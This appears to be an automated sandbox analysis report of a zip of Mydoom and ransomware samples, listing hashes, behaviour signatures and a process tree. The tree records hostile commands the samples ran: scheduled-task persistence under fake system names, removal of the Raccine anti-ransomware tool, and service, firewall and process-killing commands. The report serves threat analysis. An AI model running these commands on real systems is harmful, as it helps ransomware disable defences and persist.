Analysis
-
max time kernel
274s -
max time network
600s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
-
submitted
12-06-2024 08:28
General
-
Target
Mydooms.zip
-
Size
7.3MB
-
MD5
d9bbe9314e8114fa2cc00422b09fdd9d
-
SHA1
a138d7a8c054d8dd9904f6fb378d51af02385a52
-
SHA256
dbcc1bec2dbc4002cfdade40966eb639ccf4da67a7b9728f444beb1d35ed4f7f
-
SHA512
79c96afd2bedb2ed22027cd135678db411fedeba92e481d2e410eb516cb26d8c8aebf3d63ed8941a91f70dee75a5fa2dfdff8c2bec07c205ac33710f2dff635f
-
SSDEEP
196608:RyiXnVyuWadlIK+eU3hW0y9PnO+K8Lsi2L:AiXnVyuWaP6eahWPNPt2L
Malware Config
Extracted
zebrocy
Windows XP Professional x64 Edition
Extracted
C:\ProgramData\Adobe\# SATAN CRYPTOR #.hta
<strong>[email protected]</strong>
Extracted
C:\Users\Admin\Desktop\New folder\Mydoom\Mydoom Ransomwares\info.hta
class="m">[email protected]</span>
class="m">[email protected]</span>
http-equiv="x-ua-compatible"
Signatures
-
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
Dharma
Dharma is a ransomware that uses security software installation to hide malicious activities.
-
Disables service(s) 3 TTPs
-
Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
-
SatanCryptor
Golang ransomware first seen in early 2020.
-
Zebrocy
Zebrocy is a backdoor created by Sofacy threat group and has multiple variants developed in different languages.
-
Zebrocy Go Variant 2 IoCs
-
DCRat payload 1 IoCs
Detects payload of DCRat, commonly dropped by NSIS installers.
-
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Renames multiple (262) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Renames multiple (282) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Renames multiple (519) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Disables Task Manager via registry modification
-
Drops file in Drivers directory 3 IoCs
-
Modifies Windows Firewall 2 TTPs 6 IoCs
-
Sets DLL path for service in the registry 2 TTPs 1 IoCs
-
ACProtect 1.3x - 1.4x DLL software 1 IoCs
Detects file using ACProtect software.
-
Checks computer location settings 2 TTPs 6 IoCs
Looks up country code configured in the registry, likely geofence.
-
Drops startup file 15 IoCs
-
Executes dropped EXE 39 IoCs
-
Loads dropped DLL 3 IoCs
-
Modifies file permissions 1 TTPs 3 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Adds Run key to start application 2 TTPs 21 IoCs
-
Drops desktop.ini file(s) 64 IoCs
-
Enumerates connected drives 3 TTPs 20 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Maps connected drives based on registry 3 TTPs 9 IoCs
Disk information is often read in order to detect sandboxing environments.
-
Modifies WinLogon 2 TTPs 2 IoCs
-
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
-
Drops file in System32 directory 64 IoCs
-
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 25 IoCs
-
Suspicious use of SetThreadContext 2 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 64 IoCs
-
Launches sc.exe 16 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 7 IoCs
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 8 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 6 IoCs
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
-
Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Kills process with taskkill 64 IoCs
-
Modifies Control Panel 2 IoCs
-
Modifies registry class 15 IoCs
-
Modifies registry key 1 TTPs 2 IoCs
-
NTFS ADS 64 IoCs
-
Opens file in notepad (likely ransom note) 2 IoCs
-
Runs ping.exe 1 TTPs 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
-
Suspicious behavior: RenamesItself 4 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 64 IoCs
-
Suspicious use of SendNotifyMessage 64 IoCs
-
Suspicious use of SetWindowsHookEx 1 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
System policy modification 1 TTPs 6 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\Explorer.exeC:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\Mydooms.zip1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Program Files\7-Zip\7zG.exe"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\New folder\" -an -ai#7zMap2010:94:7zEvent102191⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\Desktop\New folder\Mydoom\00b9b6cf27deeda8de99d1719ef724808afa92080026df8dd17159be8ea420f7.exe"C:\Users\Admin\Desktop\New folder\Mydoom\00b9b6cf27deeda8de99d1719ef724808afa92080026df8dd17159be8ea420f7.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\New folder\Mydoom\0b75e2fadffc45dff940e58f5b6f8d99832426bb880f432f98d853308b29c9c5.exe"C:\Users\Admin\Desktop\New folder\Mydoom\0b75e2fadffc45dff940e58f5b6f8d99832426bb880f432f98d853308b29c9c5.exe"1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4344 -s 83642⤵
- Program crash
-
C:\Users\Admin\Desktop\New folder\Mydoom\0d5fa75218e5eb97fccbcf36d3bbd9cd77247260977f69c50deb29399ee0e464.exe"C:\Users\Admin\Desktop\New folder\Mydoom\0d5fa75218e5eb97fccbcf36d3bbd9cd77247260977f69c50deb29399ee0e464.exe"1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 12⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\timeout.exetimeout 13⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 12⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\timeout.exetimeout 13⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 12⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\timeout.exetimeout 13⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Desktop\New folder\Mydoom\0d5fa75218e5eb97fccbcf36d3bbd9cd77247260977f69c50deb29399ee0e464.exe"C:\Users\Admin\Desktop\New folder\Mydoom\0d5fa75218e5eb97fccbcf36d3bbd9cd77247260977f69c50deb29399ee0e464.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "msedge" /sc ONLOGON /tr "'C:\Documents and Settings\msedge.exe'" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "conhost" /sc ONLOGON /tr "'C:\Users\Default\Downloads\conhost.exe'" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "System" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\System.exe'" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "Idle" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office\PackageManifests\Idle.exe'" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "2af6bc16f25822d6d2f1429bc15f3d47f6c0bcb026ba387249d173fc753919b2" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office\root\Office16\PROOF\2af6bc16f25822d6d2f1429bc15f3d47f6c0bcb026ba387249d173fc753919b2.exe'" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
-
C:\Program Files\Microsoft Office\root\Office16\PROOF\2af6bc16f25822d6d2f1429bc15f3d47f6c0bcb026ba387249d173fc753919b2.exe"C:\Program Files\Microsoft Office\root\Office16\PROOF\2af6bc16f25822d6d2f1429bc15f3d47f6c0bcb026ba387249d173fc753919b2.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 14⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 15⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 14⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 15⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 14⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 15⤵
- Delays execution with timeout.exe
-
C:\Program Files\Microsoft Office\root\Office16\PROOF\2af6bc16f25822d6d2f1429bc15f3d47f6c0bcb026ba387249d173fc753919b2.exe"C:\Program Files\Microsoft Office\root\Office16\PROOF\2af6bc16f25822d6d2f1429bc15f3d47f6c0bcb026ba387249d173fc753919b2.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10596 -s 15964⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3260 -s 15402⤵
- Program crash
-
C:\Users\Admin\Desktop\New folder\Mydoom\3d9f9c162e130c197301adb5a4e141f2e1ae8a19c85b457c429e8410a5c91464.exe"C:\Users\Admin\Desktop\New folder\Mydoom\3d9f9c162e130c197301adb5a4e141f2e1ae8a19c85b457c429e8410a5c91464.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Maps connected drives based on registry
- Drops file in System32 directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\ctfmen.exectfmen.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\smnss.exeC:\Windows\system32\smnss.exe3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Enumerates connected drives
- Maps connected drives based on registry
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\smnss.exeC:\Windows\system32\smnss.exe4⤵
-
C:\Users\Admin\Desktop\New folder\Mydoom\3d9f9c162e130c197301adb5a4e141f2e1ae8a19c85b457c429e8410a5c91464.exe"C:\Users\Admin\Desktop\New folder\Mydoom\3d9f9c162e130c197301adb5a4e141f2e1ae8a19c85b457c429e8410a5c91464.exe"1⤵
- Executes dropped EXE
- Maps connected drives based on registry
- Drops file in System32 directory
- Modifies registry class
-
C:\Users\Admin\Desktop\New folder\Mydoom\1fe99fb7c527a90826896e695f23e712375358df3c7aa9163af6b96d872a9f81.exe"C:\Users\Admin\Desktop\New folder\Mydoom\1fe99fb7c527a90826896e695f23e712375358df3c7aa9163af6b96d872a9f81.exe"1⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\Desktop\New folder\Mydoom\2af6bc16f25822d6d2f1429bc15f3d47f6c0bcb026ba387249d173fc753919b2.exe"C:\Users\Admin\Desktop\New folder\Mydoom\2af6bc16f25822d6d2f1429bc15f3d47f6c0bcb026ba387249d173fc753919b2.exe"1⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
-
C:\Users\Admin\Desktop\New folder\Mydoom\4d61a61265cdd942cff973609170529eaf19579b5d17e64deccbd6f6f1fdfa08.exe"C:\Users\Admin\Desktop\New folder\Mydoom\4d61a61265cdd942cff973609170529eaf19579b5d17e64deccbd6f6f1fdfa08.exe"1⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\services.exe"C:\Windows\services.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\Desktop\New folder\Mydoom\6c3c9af653a28977257ce971ed701b1b893cdf67d5c57baa44a9d76c28675dc3.exe"C:\Users\Admin\Desktop\New folder\Mydoom\6c3c9af653a28977257ce971ed701b1b893cdf67d5c57baa44a9d76c28675dc3.exe" "C:\Users\Admin\Desktop\New folder\Mydoom\4d61a61265cdd942cff973609170529eaf19579b5d17e64deccbd6f6f1fdfa08.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\New folder\Mydoom\6c3c9af653a28977257ce971ed701b1b893cdf67d5c57baa44a9d76c28675dc3.exe"C:\Users\Admin\Desktop\New folder\Mydoom\6c3c9af653a28977257ce971ed701b1b893cdf67d5c57baa44a9d76c28675dc3.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\New folder\Mydoom\6c37d14d5ad674e4c0fa8df0a999be6b27399936c9ff16f7fb30b802addb7b4c.exe"C:\Users\Admin\Desktop\New folder\Mydoom\6c37d14d5ad674e4c0fa8df0a999be6b27399936c9ff16f7fb30b802addb7b4c.exe"1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\services.exe"C:\Users\Admin\AppData\Local\Temp\services.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\Desktop\New folder\Mydoom\7bca70a81cc9e1067e99e313802a4cc095f79bbc3a1aa86b7b3b9eabf3748e61.exe"C:\Users\Admin\Desktop\New folder\Mydoom\7bca70a81cc9e1067e99e313802a4cc095f79bbc3a1aa86b7b3b9eabf3748e61.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\New folder\Mydoom\8e934dcd46eb57d42712d097deab6ce00ef1ce2db87d03f8d3d8e8c10da7e088.exe"C:\Users\Admin\Desktop\New folder\Mydoom\8e934dcd46eb57d42712d097deab6ce00ef1ce2db87d03f8d3d8e8c10da7e088.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\New folder\Mydoom\9a75c8e353df060ec927ada5990402b57764275f2a860d9cf500a661ec3de060.exe"C:\Users\Admin\Desktop\New folder\Mydoom\9a75c8e353df060ec927ada5990402b57764275f2a860d9cf500a661ec3de060.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\New folder\Mydoom\1760c5727e5568d3b18a1cbf0d50c311613699af8233c96fb3eee197f438ce9c.exe"C:\Users\Admin\Desktop\New folder\Mydoom\1760c5727e5568d3b18a1cbf0d50c311613699af8233c96fb3eee197f438ce9c.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\New folder\Mydoom\5642f8bd3bc151349ded1a3c160c037c26194c9da2b7ace5d8ca11cddb57612a.exe"C:\Users\Admin\Desktop\New folder\Mydoom\5642f8bd3bc151349ded1a3c160c037c26194c9da2b7ace5d8ca11cddb57612a.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\New folder\Mydoom\e16d377c12b63acb694601b4bde36d61839054409e7fae1661fb051892d2ed36.exe"C:\Users\Admin\Desktop\New folder\Mydoom\e16d377c12b63acb694601b4bde36d61839054409e7fae1661fb051892d2ed36.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\New folder\Mydoom\e302f733d4a31342a0c908055a6e59b3fd8f1ed3ce98750d00251e4f0efe6c02.exe"C:\Users\Admin\Desktop\New folder\Mydoom\e302f733d4a31342a0c908055a6e59b3fd8f1ed3ce98750d00251e4f0efe6c02.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\New folder\Mydoom\fe3b2cf08a6224a04194a6555b4593b0a7428cb1fe057c08776d09568fc58cd5.exe"C:\Users\Admin\Desktop\New folder\Mydoom\fe3b2cf08a6224a04194a6555b4593b0a7428cb1fe057c08776d09568fc58cd5.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\New folder\Mydoom\23361735678f37d77510b22306c727a987f84c87143bb0062f3d76413c36fc98.exe"C:\Users\Admin\Desktop\New folder\Mydoom\23361735678f37d77510b22306c727a987f84c87143bb0062f3d76413c36fc98.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\New folder\Mydoom\a9a89ed0d139fbc436794f5d3a8e58c547247039d8c86767b1e2f2bce40e390f.exe"C:\Users\Admin\Desktop\New folder\Mydoom\a9a89ed0d139fbc436794f5d3a8e58c547247039d8c86767b1e2f2bce40e390f.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\New folder\Mydoom\b4ab8f5c8b97307b328ba30fdefdbe4341c4e2c576729fdb5c7329d5b07bb695.exe"C:\Users\Admin\Desktop\New folder\Mydoom\b4ab8f5c8b97307b328ba30fdefdbe4341c4e2c576729fdb5c7329d5b07bb695.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\New folder\Mydoom\c45a330cf80c33977658649596d4867301e928381c5fc37ec3edabfad2251324.exe"C:\Users\Admin\Desktop\New folder\Mydoom\c45a330cf80c33977658649596d4867301e928381c5fc37ec3edabfad2251324.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\New folder\Mydoom\c03431309015563257e5e118656d07ce136f151339054b9f66894ecf9dde9aef.exe"C:\Users\Admin\Desktop\New folder\Mydoom\c03431309015563257e5e118656d07ce136f151339054b9f66894ecf9dde9aef.exe"1⤵
- Sets DLL path for service in the registry
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://www.gusanito.com/esp/tarjetas/postales/buenos_deseos/excelente_dia/9742⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0x120,0x124,0x11c,0x128,0x7ffa838b46f8,0x7ffa838b4708,0x7ffa838b47183⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1960,11754314823408590683,604689329818502669,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1956 /prefetch:23⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1960,11754314823408590683,604689329818502669,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 /prefetch:33⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1960,11754314823408590683,604689329818502669,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2844 /prefetch:83⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,11754314823408590683,604689329818502669,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3204 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,11754314823408590683,604689329818502669,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3232 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,11754314823408590683,604689329818502669,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4408 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,11754314823408590683,604689329818502669,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4508 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,11754314823408590683,604689329818502669,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,11754314823408590683,604689329818502669,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4524 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,11754314823408590683,604689329818502669,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4208 /prefetch:13⤵
-
C:\Users\Admin\Desktop\New folder\Mydoom\d42fc4dabd9a9e74156d1a856cb542ed2e0796d2d7c6b976c0ac5421a87f9806.exe"C:\Users\Admin\Desktop\New folder\Mydoom\d42fc4dabd9a9e74156d1a856cb542ed2e0796d2d7c6b976c0ac5421a87f9806.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\New folder\Mydoom\d66f6565e97f43030ff6fba9c9550894aad05affb66efaf561ec229d80b0a691.exe"C:\Users\Admin\Desktop\New folder\Mydoom\d66f6565e97f43030ff6fba9c9550894aad05affb66efaf561ec229d80b0a691.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\New folder\Mydoom\Mydoom Ransomwares\5458f18e36de21d20b713f7acd8575fc8a86330c466e1b9dc6f41bc81f3e79fc.exe"C:\Users\Admin\Desktop\New folder\Mydoom\Mydoom Ransomwares\5458f18e36de21d20b713f7acd8575fc8a86330c466e1b9dc6f41bc81f3e79fc.exe"1⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Modifies WinLogon
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill" /F /IM RaccineSettings.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\reg.exe"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F2⤵
-
C:\Windows\SYSTEM32\reg.exe"reg" delete HKCU\Software\Raccine /F2⤵
- Modifies registry key
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /DELETE /TN "Raccine Rules Updater" /F2⤵
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config Dnscache start= auto2⤵
- Launches sc.exe
-
C:\Windows\SYSTEM32\netsh.exe"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes2⤵
- Modifies Windows Firewall
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config FDResPub start= auto2⤵
- Launches sc.exe
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SSDPSRV start= auto2⤵
- Launches sc.exe
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config upnphost start= auto2⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLTELEMETRY start= disabled2⤵
- Launches sc.exe
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled2⤵
- Launches sc.exe
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLWriter start= disabled2⤵
- Launches sc.exe
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SstpSvc start= disabled2⤵
- Launches sc.exe
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM excel.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM firefoxconfig.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM thebat64.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" IM thunderbird.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM CNTAoSMgr.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM agntsvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
